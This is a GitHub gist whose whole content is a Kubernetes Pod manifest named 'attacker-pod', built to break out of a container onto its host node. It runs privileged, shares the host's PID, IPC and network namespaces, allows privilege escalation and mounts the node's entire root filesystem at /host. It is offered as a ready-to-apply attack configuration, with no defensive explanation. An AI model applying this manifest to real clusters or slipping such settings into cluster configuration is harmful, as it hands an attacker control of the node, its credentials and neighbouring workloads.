Skip to content

Instantly share code, notes, and snippets.

@abhisek
Created March 17, 2020 04:35
Show Gist options
  • Save abhisek/1909452a8ab9b8383a2e94f95ab0ccba to your computer and use it in GitHub Desktop.
Save abhisek/1909452a8ab9b8383a2e94f95ab0ccba to your computer and use it in GitHub Desktop.
Kubernetes Pod hostPath Volume Mount
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
spec:
hostPID: true
hostIPC: true
hostNetwork: true
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
securityContext:
privileged: true
allowPrivilegeEscalation: true
volumeMounts:
- name: host-fs
mountPath: /host
restartPolicy: Never
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment